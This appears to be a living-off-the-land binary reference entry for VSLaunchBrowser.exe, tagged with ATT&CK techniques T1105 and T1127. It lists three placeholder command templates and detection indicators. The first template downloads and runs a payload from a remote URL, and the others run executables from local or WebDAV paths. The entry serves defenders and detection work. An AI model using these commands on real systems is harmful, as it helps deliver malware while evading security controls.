VSLaunchBrowser.exe

Commands

1. DownloadUser T1105

   It will download a remote file to INetCache and open it using the default app associated with the supplied file extension with VSLaunchBrowser as parent process.

   VSLaunchBrowser.exe .exe {REMOTEURL:.exe}

   Download and execute payload from remote server

   os: Windows

   Download: INetCache

2. ExecuteUser T1127

   It will open a local file using the default app associated with the supplied file extension with VSLaunchBrowser as parent process.

   VSLaunchBrowser.exe .exe {PATH_ABSOLUTE:.exe}

   Execute payload via VSLaunchBrowser as parent process

   os: Windows

   Execute: EXE

3. ExecuteUser T1127

   It will open a remote file using the default app associated with the supplied file extension with VSLaunchBrowser as parent process.

   VSLaunchBrowser.exe .exe {PATH_SMB}

   Execute payload from WebDAV server via VSLaunchBrowser as parent process

   os: Windows

   Execute: EXEExecute: Remote

Detection

• IOCcmd.exe as sub-process of VSLaunchBrowser
• IOCURL on a VSLaunchBrowser command line
• IOCVSLaunchBrowser making unexpected network connections or DNS requests